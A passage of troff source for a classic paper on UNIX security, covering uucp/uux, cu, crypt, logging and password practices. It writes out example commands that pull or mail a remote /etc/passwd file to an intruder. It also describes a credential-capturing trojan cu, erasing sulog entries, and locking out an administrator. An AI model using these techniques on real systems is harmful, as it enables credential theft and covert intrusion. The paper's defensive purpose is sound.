        !           927: .UX
        !           928: networking. Indeed, the ease of information
        !           929: interchange by way of
        !           930: .I uucp 
        !           931: and programs like
        !           932: .I mail 
        !           933: that
        !           934: use it, accounts for much of the usefulness and popularity
        !           935: of the
        !           936: .UX
        !           937: system. The problem with
        !           938: .I uucp 
        !           939: is that if
        !           940: left unrestricted, it will let any outside user
        !           941: execute any commands and copy out/in any file that is
        !           942: readable/writable by a uucp login user. It is up to
        !           943: the individual sites to be aware of this and apply the
        !           944: protections that they feel are necessary|reference(latest uucp administration).
        !           945: If the administrator of a site is naive or inattentive,
        !           946: getting a password file from that site can be as
        !           947: easy as typing
        !           948: .P1 0
        !           949: uucp -m target!/etc/passwd gift
        !           950: .P2
        !           951: to copy the remote machine's password file to a local
        !           952: file called
        !           953: .CW gift . 
        !           954: (The
        !           955: .CW -m 
        !           956: option is a convenience,
        !           957: not a necessity. It causes
        !           958: .I uucp 
        !           959: to send mail to the
        !           960: intruder when the gift has arrived.) Three years ago,
        !           961: this ploy was almost certain to succeed. Today, many
        !           962: (but not all) systems have restrictions on which files
        !           963: can be accessed and by whom. Typically, they restrict
        !           964: access to a directory reserved for that purpose:
        !           965: .CW /usr/spool/uucppublic .
        !           966: .PP
        !           967: If the direct approach is spurned,
        !           968: .I uux
        !           969: might be tried.
        !           970: .I uux 
        !           971: is a program that is part of the uucp system.
        !           972: It causes execution of programs to take place on remote 
        !           973: systems. Its main use \(em in practice, almost its only
        !           974: use \(em is to start up the mail delivery machinery on
        !           975: a remote system after
        !           976: .I uucp 
        !           977: has delivered the mail files
        !           978: to a spooling area. Like
        !           979: .I uucp 
        !           980: though, it has full
        !           981: generality built in, and it may be possible to successfully
        !           982: execute a command like:
        !           983: .P1 0
        !           984: uux "target!cat </etc/passwd
        !           985:        >/usr/spool/uucppublic/x"
        !           986: .P2
        !           987: .PP
        !           988: This copies the password file to the remote machine's
        !           989: spool directory, from which it can later be plucked.
        !           990: Like
        !           991: .I uucp ,
        !           992: .I uux 
        !           993: may have some restrictions, but there is
        !           994: a difference: to ensure `generality', the remote system
        !           995: passes the arguments of
        !           996: .I uux 
        !           997: to a shell for interpretation
        !           998: and execution. The far end of a uucp transaction needs
        !           999: only to see whether access to some file is legitimate,
        !          1000: but the far end of a
        !          1001: .I uux
        !          1002: transaction must examine the 
        !          1003: command and its context and decide whether the result
        !          1004: will be harmful. The latter is extremely difficult,
        !          1005: because the shell, like most other macro processors,
        !          1006: has some very complex quoting conventions deliberately
        !          1007: designed to hide certain types of strings until the
        !          1008: proper time for their expansion. An intruder with 
        !          1009: sufficient shell programming experience is likely to
        !          1010: succeed here.
        !          1011: .PP
        !          1012: Finally, given that neither
        !          1013: .I uucp 
        !          1014: nor
        !          1015: .I uux 
        !          1016: will perform
        !          1017: as directed, there is always the option of making a private
        !          1018: copy of
        !          1019: .I uucp . 
        !          1020: No special permissions are required, 
        !          1021: either to run the program or to access the telephone
        !          1022: dialers. The private copy can assert that it is calling
        !          1023: from anywhere, and there is no way for the called machine
        !          1024: to verify the claim. Thus an intruder stands a good
        !          1025: chance of dialing into one of a cluster of friendly
        !          1026: machines, masquerading as one of the family, and 
        !          1027: finding access permissions greatly relaxed.
        !          1028: .PP
        !          1029: Another communications program called
        !          1030: .I cu
        !          1031: is
        !          1032: especially appealing to intruders. The name
        !          1033: .I cu
        !          1034: stands for `call
        !          1035: .UX '.
        !          1036: It allows a user of a
        !          1037: .UX
        !          1038: system to
        !          1039: call another system, not necessarily
        !          1040: .UX ,
        !          1041: and to
        !          1042: conduct an interactive session on the remote machine.
        !          1043: A typical
        !          1044: .I cu 
        !          1045: session starts like this:
        !          1046: .P1
        !          1047: $ cu 5551212 
        !          1048: .SP    
        !          1049: Connected
        !          1050: .SP    
        !          1051: remote
        !          1052: login: user
        !          1053: Password:
        !          1054: $ [session from here until ~.]
        !          1055:  ...
        !          1056:  ...
        !          1057: .P2
        !          1058: .PP
        !          1059: Note the sequence of events.
        !          1060: .I cu 
        !          1061: is invoked and given
        !          1062: the telephone number of the remote machine. A connection
        !          1063: is made, and the user is asked for a login name and
        !          1064: a password. If these are correctly given, the session
        !          1065: proceeds as if the user had manually dialed in. The
        !          1066: session ends when the user types a line beginning
        !          1067: with
        !          1068: .CW ~ .
        !          1069: .PP
        !          1070: Consider two machines, one on which very careful attention
        !          1071: has been paid to security concerns, and another on which
        !          1072: security issues have been utterly neglected. An intruder on the 
        !          1073: weak machine need only install a horse \(em a version
        !          1074: of
        !          1075: .I cu 
        !          1076: that in addition to making connections also
        !          1077: copies the first few lines of a session somewhere \(em to
        !          1078: obtain the keys to the strong machine.
        !          1079: .PP
        !          1080: It would seem that a good rule to follow with
        !          1081: .I cu 
        !          1082: would
        !          1083: be never to use it to get from a weak machine to a stronger
        !          1084: machine, but sometimes this is not sufficient.
        !          1085: .I cu 
        !          1086: allows escape 
        !          1087: sequences that are not transmitted to the remote machine,
        !          1088: but instead cause certain useful functions to be
        !          1089: performed. For example, any line beginning with
        !          1090: .CW ~%put
        !          1091: tells
        !          1092: .I cu 
        !          1093: to copy a file from the local machine to the
        !          1094: remote; lines beginning with
        !          1095: .CW ~%take
        !          1096: cause things to go
        !          1097: the other way. Of special interest are lines beginning
        !          1098: with
        !          1099: .CW !
        !          1100: that cause commands to be executed on the 
        !          1101: local machine.
        !          1102: For example,
        !          1103: .P1
        !          1104: ~!mail
        !          1105: .P2
        !          1106: lets a user read mail on the local machine while still
        !          1107: connected to the remote.
        !          1108: .PP
        !          1109: For some versions of
        !          1110: .I cu ,
        !          1111: the local machine cannot tell how a line was generated
        !          1112: when it gets it from the remote machine.
        !          1113: It just has a line of text. If the line says
        !          1114: .P1
        !          1115: ~!mail somewhere </etc/passwd
        !          1116: .P2
        !          1117: it may have been typed deliberately by the user, it may
        !          1118: have been written to the user's terminal by a bad guy on
        !          1119: the remote machine, or it may have been contained in a
        !          1120: file on the remote machine that the user had been
        !          1121: printing. The result is the same in any case: the password
        !          1122: file is tossed over the wall.
        !          1123: .PP
        !          1124: The
        !          1125: .I ct
        !          1126: command causes a machine to call out to a terminal
        !          1127: in order to let that terminal log in to the machine.
        !          1128: It is otherwise identical to the
        !          1129: .I cu
        !          1130: command, but from an intruder's
        !          1131: point of view, the target machine gets to pay the phone bill.
        !          1132: This reduced cost is counterbalanced by the greatly increased risk
        !          1133: of getting caught by audit procedures.
        !          1134: .PP
        !          1135: Finally, there are local area networks, or LANs. These
        !          1136: are arrangements in which some kind of high speed
        !          1137: communications channel is used to connect a cluster of
        !          1138: machines that are geographically close to one another,
        !          1139: e.g., a dozen machines in the same building. The intent
        !          1140: of an LAN is usually not only to make it easy to share
        !          1141: information, but also to provide users of all the machines
        !          1142: in the network with handy access to resources (such
        !          1143: as typesetters) that are not economical to replicate
        !          1144: on each machine.
        !          1145: .PP
        !          1146: Unlike
        !          1147: .I uucp 
        !          1148: and
        !          1149: .I cu , 
        !          1150: which are fairly standard, LANs
        !          1151: come in many different flavors. It would be unkind
        !          1152: and not very useful to dissect some particular LAN
        !          1153: here, and trying to cover even the more popular ones
        !          1154: would require a long and mostly uninteresting book.
        !          1155: The hazards are exactly those of
        !          1156: .I uucp 
        !          1157: and 
        !          1158: .I cu : 
        !          1159: remote
        !          1160: execution, masquerading and faulty access permissions.
        !          1161: The forms that the attacks will take are of course
        !          1162: different.
        !          1163: .PP
        !          1164: Security holes in machine-to-machine communications
        !          1165: are well-known, and sometimes difficult to fix.
        !          1166: .DL
        !          1167: No special permissions are inherently required to
        !          1168: access communications devices. This makes it possible 
        !          1169: to obtain a private copy of a communications
        !          1170: program and to modify it so that it calls out
        !          1171: masquerading as some other machine or some other
        !          1172: user. Even if special privileges were required,
        !          1173: little would be gained, as the threat is to the
        !          1174: remote, as yet uncompromised machine, not the local
        !          1175: machine on which an intruder has presumably already
        !          1176: obtained the required permissions.
        !          1177: .DL
        !          1178: Given that a remote machine cannot reliably identify
        !          1179: its caller, allowing the remote execution of 
        !          1180: arbitrary commands is a sure way to invite trouble.
        !          1181: Remote execution of a shell is deadly, but even
        !          1182: an innocuous command like cat can be used to an
        !          1183: intruder's advantage.
        !          1184: .DL
        !          1185: The
        !          1186: .I uucp 
        !          1187: program that is used by most
        !          1188: .UX
        !          1189: machines
        !          1190: was not written with security in mind. It can do just
        !          1191: about anything, and it is up to the system administrator
        !          1192: to restrict its capabilities. The restrictions needed
        !          1193: are by no means obvious. The cure is to rewrite
        !          1194: .I uucp
        !          1195: so that it is able to deliver mail, to copy files to
        !          1196: and from spool directories, and to send out data only
        !          1197: when it has initiated the connection. We have done
        !          1198: this in our research environment some time ago|reference(morris try uucp).
        !          1199: Other efforts are in progress elsewhere|reference(uniforum uucp)|reference(truscott uucp).
        !          1200: .DL
        !          1201: The
        !          1202: .I cu 
        !          1203: program can be a security disaster. Banning it from
        !          1204: a machine or restricting access to devices will do
        !          1205: no good at all, for the obvious reasons. The best that
        !          1206: can be done is to educate users:
        !          1207: .KS
        !          1208: .nf
        !          1209: Don't \fIcu\fR from a machine that isn't trusted.
        !          1210: Don't \fIcu\fR to a machine that isn't trusted.
        !          1211: Don't browse on the remote machine.
        !          1212: .fi
        !          1213: .KE
        !          1214: (This advice is remarkably similar to that which parents
        !          1215: give their children: ``Don't go for a ride with
        !          1216: a stranger.'')
        !          1217: .DL
        !          1218: Local area networks should be treated as individual
        !          1219: machines for security purposes.
        !          1220: .NH
        !          1221: Encrypted Files
        !          1222: .PP
        !          1223: .UX
        !          1224: systems are distributed with a command called
        !          1225: .I crypt
        !          1226: that is used to encrypt and decrypt files|reference(morris file security).
        !          1227: Cleartext is supplied as input to the program. A key
        !          1228: (the cryptologist's term for `password') is either given  
        !          1229: on the command line or supplied interactively, and ciphertext
        !          1230: is output. The transformation performed by
        !          1231: .I crypt 
        !          1232: is its own
        !          1233: inverse, so that using the same key converts ciphertext to
        !          1234: cleartext.
        !          1235: .I Crypt 
        !          1236: is used in many applications, and often very
        !          1237: unwisely, as its safety depends on a very large number of
        !          1238: factors that are often not considered by naive users.
        !          1239: (For mainly this reason, Research Unix since the Eighth Edition has
        !          1240: kept
        !          1241: .I crypt
        !          1242: in
        !          1243: .CW /usr/games
        !          1244: rather than in
        !          1245: .CW /usr/bin .)
        !          1246: The
        !          1247: purpose of this section is to present those facts that ought to
        !          1248: be considered, so that the user can make an informed decision
        !          1249: about a particular application.
        !          1250: .PP
        !          1251: It is possible to decrypt an encrypted file without knowledge
        !          1252: of its key. This is hardly surprising, as successful methods
        !          1253: of attacking rotor machines have been known for over 50 years|reference(garlinski).
        !          1254: The job can be very time-consuming; it is not just a matter
        !          1255: of aiming some magic program at a file of ciphertext and
        !          1256: obtaining cleartext.
        !          1257: The method is described in detail in |reference(reeds weinberger).
        !          1258: The amount of work that it takes to
        !          1259: decrypt a file varies, depending on what clues
        !          1260: are available. For a file of encrypted English text,
        !          1261: several hours of work is not atypical.
        !          1262: .PP
        !          1263: Decryption of files can be made easy or hard, depending
        !          1264: on how
        !          1265: .I crypt 
        !          1266: is used:
        !          1267: .DL
        !          1268: A `one size fits all' approach to
        !          1269: key selection is a particularly bad idea. It goes without
        !          1270: saying that a user's login password, if known, will be
        !          1271: tried as a possible key, but there are other problems.
        !          1272: If ten files are encrypted with the same key, then
        !          1273: all ten files can be decrypted once only one is done.
        !          1274: Moreover, having more than one file encrypted with the
        !          1275: same key lets a cryptanalyst switch to a different
        !          1276: target when guessing at probable text gets hard.
        !          1277: .DL
        !          1278: Very frequently, a user of
        !          1279: .I crypt 
        !          1280: will forget to remove
        !          1281: a cleartext file after producing an encrypted version.
        !          1282: Such cleartext can only be described as `gold'.
        !          1283: .DL
        !          1284: Executable programs (binaries) that have not been
        !          1285: stripped of their predictable symbol tables are
        !          1286: vulnerable.
        !          1287: .DL
        !          1288: Double encryption, that is, passing text through
        !          1289: .I crypt
        !          1290: twice, makes the job of decryption harder, but not much.
        !          1291: .DL
        !          1292: Simple-minded preprocessing schemes, such as exclusive
        !          1293: oring the file with some constant, don't help.
        !          1294: .DL
        !          1295: Preprocessing the cleartext so that there is no longer
        !          1296: a one-to-one correspondence between clear- and
        !          1297: cipher-bytes dramatically weakens the attack. For example,
        !          1298: using the
        !          1299: .I pack
        !          1300: command to get a Huffman-encoded version of 
        !          1301: the file before passing it through
        !          1302: .I crypt 
        !          1303: ensures that
        !          1304: characters will cross byte boundaries, thus rendering 
        !          1305: byte-oriented decryption techniques useless.
        !          1306: .LP
        !          1307: Much more dangerous are the non-cryptanalytic attacks. The
        !          1308: techniques for guessing passwords are exactly those for guessing
        !          1309: keys. And a Trojan horse version of
        !          1310: .I crypt 
        !          1311: can take minutes, not
        !          1312: hours for an intruder to install.
        !          1313: .PP
        !          1314: Finally, the frequency distribution of the bytes in an
        !          1315: encrypted file is uniform. This is so unlike those of 
        !          1316: other files in the system that they practically scream
        !          1317: for the attention of an intruder. This is well worth
        !          1318: remembering.
        !          1319: .NH 
        !          1320: Misguided Efforts
        !          1321: .PP
        !          1322: It is one thing to clean up a system by plugging open holes,
        !          1323: and quite another to install security machinery that collects
        !          1324: evidence of possible chicanery.
        !          1325: The latter can be very useful or very dangerous,
        !          1326: depending on how it is done,
        !          1327: since it often happens that information that is helpful to 
        !          1328: system administrators can be just as helpful \(em or more so \(em to
        !          1329: an intruder. Here are some security tools that can help weaken
        !          1330: system security.
        !          1331: .NH 2
        !          1332: Logging \f4su\fP activity
        !          1333: .PP
        !          1334: The
        !          1335: .I su 
        !          1336: command allows a user to assume the identity of any other
        !          1337: user (the default being root, the super-user) if the password 
        !          1338: corresponding to the desired new identity is correctly given.
        !          1339: As a security measure, most implementations of
        !          1340: .I su 
        !          1341: also append
        !          1342: a line to a log file called
        !          1343: .CW sulog . 
        !          1344: The line contains a time stamp,
        !          1345: the name of the user, the proposed new identity and a flag showing
        !          1346: whether or not the transformation succeeded. Clearly, this file
        !          1347: must be protected from writing by all but the super-user.
        !          1348: .PP
        !          1349: Normally, only a small number of people on a given machine are 
        !          1350: supposed to have super-user privileges, and all of these should
        !          1351: be known to the system administrator. Thus by looking in
        !          1352: .CW sulog
        !          1353: for
        !          1354: those who have become
        !          1355: .CW root , 
        !          1356: the administrator
        !          1357: can get a very short list of names in which a stranger will likely
        !          1358: stand out like a sore thumb.
        !          1359: .PP
        !          1360: Now consider the plight of an intruder who has just used a borrowed
        !          1361: password to break into a strange machine, and who now has the task
        !          1362: of locating the important people from among perhaps hundreds in the
        !          1363: password file. Fortunately, the important people can readily be
        !          1364: identified by their ability to become super-user. Thus the same
        !          1365: technique applied to the same file produces the same list \(em but
        !          1366: now it is a list of horse targets.
        !          1367: .PP
        !          1368: This implies that
        !          1369: .CW sulog 
        !          1370: had better be unreadable as well as unwritable.
        !          1371: Such files are difficult to handle for a variety of reasons.
        !          1372: Copies and summaries with relaxed permissions are likely to be
        !          1373: owned by the important people.
        !          1374: .PP
        !          1375: .CW sulog
        !          1376: thus appears to help both the defenders and the attackers.
        !          1377: This would indeed be the case if there were ever a need for an
        !          1378: intruder to make an entry in the file. There is no such need.
        !          1379: Only the most inexperienced intruder will use the
        !          1380: .I su 
        !          1381: command to
        !          1382: try out a guess or a pilfered password. The indirect approach
        !          1383: of encrypting the guess and comparing it with the password file
        !          1384: entry will provide verification without leaving any tracks.
        !          1385: Once sure of a password, the intruder can then use
        !          1386: .I su ,
        !          1387: and just
        !          1388: remove the last telltale line from
        !          1389: .CW sulog .
        !          1390: .PP
        !          1391: If
        !          1392: .CW sulog
        !          1393: exists on a machine, no matter how it is protected
        !          1394: or what it is called, there is a potential risk for the administrator
        !          1395: but none for the knowledgeable intruder. The way to reverse the 
        !          1396: score is to keep the tracks off the machine, where they cannot
        !          1397: be accessed, even by the super-user. The paper console copy in
        !          1398: the machine room is a very good place, especially if the system
        !          1399: administrator reads it occasionally.
        !          1400: .NH 2
        !          1401: Password aging
        !          1402: .PP
        !          1403: One of the many problems with passwords is that most people,
        !          1404: left unreminded, will keep a password forever. The longer a password 
        !          1405: is used, the greater the chance that it will become compromised.
        !          1406: Also, stolen passwords are useful to their thief for as long
        !          1407: as they remain valid.
        !          1408: .PP
        !          1409: Most
        !          1410: .UX
        !          1411: systems are provided with a feature called
        !          1412: .I "password aging" , 
        !          1413: which, if activated by the system administrator, will
        !          1414: cause users of the system to change their passwords every so often.
        !          1415: .PP
        !          1416: The goal is laudable. The algorithm, however, is bad, and the
        !          1417: implementation, from a security standpoint, is just awful.
        !          1418: .PP
        !          1419: In systems on which the feature is used, the system administrator
        !          1420: assigns, on a user-by-user basis, the length of time that a
        !          1421: password can remain valid. The first time that a user whose password
        !          1422: has rotted attempts to log into the system, the message: ``Your
        !          1423: password has expired. Choose a new one.'' is printed and the user
        !          1424: is made to execute the
        !          1425: .I passwd
        !          1426: command rather than the shell. The
        !          1427: passwd command prompts for a new password, installs it, and records
        !          1428: the time of installation. Further, to prevent a user from changing
        !          1429: a password from X to Y and then promptly back to X,
        !          1430: .I passwd 
        !          1431: will
        !          1432: refuse to change a password that is less than a week old.
        !          1433: .PP
        !          1434: Four things are wrong here. First, picking good passwords, while
        !          1435: not very difficult, does require a little thought, and the surprise
        !          1436: that comes just at login time is likely to preclude this. There
        !          1437: is no hard evidence to support this conjecture, but it is a fact
        !          1438: that the most incredibly silly passwords tend to be found on
        !          1439: systems equipped with password aging.
        !          1440: .PP
        !          1441: Second, the user who discovers
        !          1442: that the new password is unsound or compromised cannot change it
        !          1443: within the week without help from the system administrator.
        !          1444: .PP
        !          1445: Third,
        !          1446: the feature only forces people to toggle back and forth between two
        !          1447: passwords. This is not a great gain in security, especially if it
        !          1448: encourages the use of less-than-ideal passwords.
        !          1449: .PP
        !          1450: Fourth, as implemented, the date and the lifetime of a password is encoded, not encrypted,
        !          1451: just after the encrypted password in the password file. It is easy
        !          1452: to write a program that scans a password file and prints out a list
        !          1453: of abandoned accounts, together with the length of time each account
        !          1454: has been unused. Whether this is a horror or a blessing depends on
        !          1455: one's point of view.
        !          1456: .PP
        !          1457: The aging of passwords is a difficult problem, yet unsolved.
        !          1458: .NH 2
        !          1459: Recording unsuccessful login attempts
        !          1460: .PP
        !          1461: Some systems record unsuccessful login attempts.
        !          1462: The login name, time and terminal number are stored.
        !          1463: The password used is not, for the obvious reasons. The intent of
        !          1464: such logging is to alert the system administrator to the presence
        !          1465: of an intruder who stands at the door making guesses at the key.
        !          1466: .PP
        !          1467: One reason that login attempts fail is that people sometimes type
        !          1468: a password when asked for a login name. Whether this is due to haste,
        !          1469: carelessness, inattention, or sluggish system response during peak
        !          1470: hours is not known. What is known is that collecting login names
        !          1471: from unsuccessful access attempts will almost invariably collect
        !          1472: a few passwords as well and that any `login name' thus collected
        !          1473: that is not found in the system's password file is almost certainly
        !          1474: a password. Finding the match is not difficult.
        !          1475: .NH 2
        !          1476: Disabling accounts based on unsuccessful logins
        !          1477: .PP
        !          1478: Some systems will count the number of consecutive unsuccessful
        !          1479: login attempts for a particular user and disable the account
        !          1480: after some pain threshold is reached. The magic number is
        !          1481: usually three. This ploy has the marginal benefit of annoying
        !          1482: would-be intruders who go through the unprofitable exercise
        !          1483: of casting spells at the door, hoping it will open. For the
        !          1484: intruder who has already gained access to the system, and
        !          1485: who wants to get rid of the system administrator,
        !          1486: the feature is a blessing:
        !          1487: .P1
        !          1488: login: guru
        !          1489: password: foo
        !          1490: .P2
        !          1491: repeated the appropriate number of times will assure the 
        !          1492: intruder of privacy for at least a little while.
        !          1493: .NH 
        !          1494: People
        !          1495: .PP
        !          1496: By far the greatest security hazard for a system,
        !          1497: .UX
        !          1498: or otherwise,
        !          1499: is the set of people who use it. If the people who use a 
        !          1500: machine are naive about security issues, the machine will
        !          1501: be vulnerable regardless of what is done by the local
        !          1502: management. This applies particularly to the system's 
        !          1503: administrators, but ordinary users should also take heed.
        !          1504: .NH 2
        !          1505: Administrators' Concerns
        !          1506: .PP
        !          1507: The system administrator is responsible for overseeing the
        !          1508: security of the system as a whole. Several things are
        !          1509: especially important.
        !          1510: .DL
        !          1511: The password file is the most important file to watch
        !          1512: in the system. It should not, of course, be writable
        !          1513: by anyone other than the super-user, nor should it be
        !          1514: available for perusal by anyone who is not currently
        !          1515: logged into the machine. For example, it should not
        !          1516: be shipped by
        !          1517: .I uucp 
        !          1518: in response to an outside request.
        !          1519: .DL
        !          1520: Login entries with no passwords are very unwise.
        !          1521: .DL
        !          1522: Group logins, that is, the use of a single login name
        !          1523: and password for a number of people, are to be avoided.
        !          1524: The owner of a machine is entitled to know who is
        !          1525: using it, and group logins thwart this. Further, the
        !          1526: idea of a group login does little to instill in its
        !          1527: users the notion that they are individually responsible
        !          1528: for their conduct on a machine.
        !          1529: .DL
        !          1530: The worst group login, and one that is found on
        !          1531: virtually all
        !          1532: .UX
        !          1533: machines, is
        !          1534: .CW root , 
        !          1535: the login name
        !          1536: of the super-user. Every time that someone logs in
        !          1537: as
        !          1538: .CW root , 
        !          1539: the system administrator can tell that
        !          1540: someone logged in with super-user privileges, but there
        !          1541: is no hint as to who that person might be. Many systems
        !          1542: make it impossible to login as
        !          1543: .CW root 
        !          1544: via dialup lines;
        !          1545: some restrict the login to the system console. In fact,
        !          1546: there is no need for anonymous super-users. It is better to
        !          1547: require a normal login and effect the transformation
        !          1548: via the
        !          1549: .I su 
        !          1550: command, especially if
        !          1551: .I su 
        !          1552: leaves tracks on
        !          1553: a piece of paper somewhere.
        !          1554: .DL
        !          1555: The use of restricted shells to contain people who
        !          1556: log in without passwords or through group logins
        !          1557: is simply ineffective.
        !          1558: .DL
        !          1559: Administrators' personal passwords are most important,
        !          1560: both to the administrators and to potential intruders.
        !          1561: An intruder is happy to get anybody's password that
        !          1562: provides access to the machine. If the password is
        !          1563: that of a system administrator and thus allows
        !          1564: some special group permissions such as
        !          1565: .CW bin ,
        !          1566: .CW sys
        !          1567: or
        !          1568: .CW uucp , 
        !          1569: so much the better. It is strongly recommended that
        !          1570: administrators use different passwords on the machines
        !          1571: that they maintain than they use on any other machines.
        !          1572: .DL
        !          1573: A system administrator should be able to explain the
        !          1574: presence of every SUID-root program on the system, and
        !          1575: to show that these have at least been looked at for
        !          1576: surprises. Compilation from `clean' source code is
        !          1577: helpful, but not always sufficient.
        !          1578: .DL
        !          1579: Protection against horses for people who have
        !          1580: super-user privileges is essential. This means checking
        !          1581: PATH variables, directories and files owned by such
        !          1582: people to see that the files that they execute
        !          1583: are writable only by themselves or by trusted
        !          1584: administrators. Again, such protection is not
        !          1585: sufficient, but it does remove the obvious targets.
        !          1586: .DL
        !          1587: Finally, the system administrator should work to 
        !          1588: develop an awareness of security issues in the 
        !          1589: user community as a whole.
        !          1590: .NH 2
        !          1591: Users' Concerns
        !          1592: .PP
        !          1593: Users, including system administrators, often have surprisingly
        !          1594: bad habits with respect to system security. Here are some of
        !          1595: the worst.
        !          1596: .DL
        !          1597: Giving away logins and passwords is all too common.
        !          1598: The same people who would never consider giving the
        !          1599: keys to a company car to a friend are often quite
        !          1600: willing to give away the keys to the company computer,
        !          1601: even though the potential for loss may be orders of 
        !          1602: magnitude greater.
        !          1603: .DL
        !          1604: Obvious swindles tend to be ignored. Most Trojan horses work
        !          1605: only because most people have not given any thought
        !          1606: to the fact that programs that ask for things
        !          1607: like passwords might not be the genuine article.
        !          1608: If something goes wrong, they ask no questions.
        !          1609: .DL
        !          1610: Generally, little thought goes into the choice of
        !          1611: non-trivial passwords, passwords are not changed
        !          1612: except under duress, and a `one size fits all'
        !          1613: attitude is common.
        !          1614: .DL
        !          1615: Carefree networking is the norm, not the exception.
        !          1616: .DL
        !          1617: Sensitive information about projects and people is
        !          1618: routinely kept on public machines.
        !          1619: .PP
        !          1620: The only approach to these problems is user education.
        !          1621: .NH
        !          1622: Conclusion
        !          1623: .PP
        !          1624: At the beginning of this paper it was noted that
        !          1625: .UX
        !          1626: systems, when used for the purposes and in the environment
        !          1627: for which they were designed, cannot be made secure. The
        !          1628: supporting arguments for that statement should now be clear.
        !          1629: Several other things should also be clear:
        !          1630: .DL
        !          1631: The security of any given
        !          1632: .UX
        !          1633: system can vary from
        !          1634: very weak to very strong, depending on a large number
        !          1635: of factors and their interactions. The most important
        !          1636: of these are the habits and attitudes of administrators
        !          1637: and users.
        !          1638: .DL
        !          1639: Software changes can be made that will greatly increase
        !          1640: the security of a system. However, since the same tools
        !          1641: can be just as potent for an intruder as for an administrator,
        !          1642: they must be carefully designed, lest they backfire.
        !          1643: .DL
        !          1644: The question of convenience vs. security, which depends
        !          1645: on the nature of a given application, must be carefully
        !          1646: considered before implementing and installing that
        !          1647: application. In particular, there are some things that
        !          1648: should not be put on any `public' machine.
        !          1649: .PP
        !          1650: It was also noted that the security hazards of
        !          1651: .UX
        !          1652: systems
        !          1653: are exactly those of other systems that are used for
        !          1654: similar purposes in similar environments. Only the forms
        !          1655: of the hazards are different. If, from the examples given,
        !          1656: it seems easier to subvert
        !          1657: .UX
        !          1658: systems than most other
        !          1659: systems, the impression is a false one. The subversion
        !          1660: techniques are the same. It is just that it is often
        !          1661: easier to write, install, and use programs
        !          1662: on
        !          1663: .UX
        !          1664: systems than on most
        !          1665: other systems, and that is why the
        !          1666: .UX
        !          1667: system was designed
        !          1668: in the first place.
        !          1669: .NH
        !          1670: References
        !          1671: .LP
        !          1672: |reference_placement

unix.superglobalmegacorp.com

This archive runs on limited infrastructure. Preserving old code on modern bandwidth. Automated agents are requested to crawl responsibly.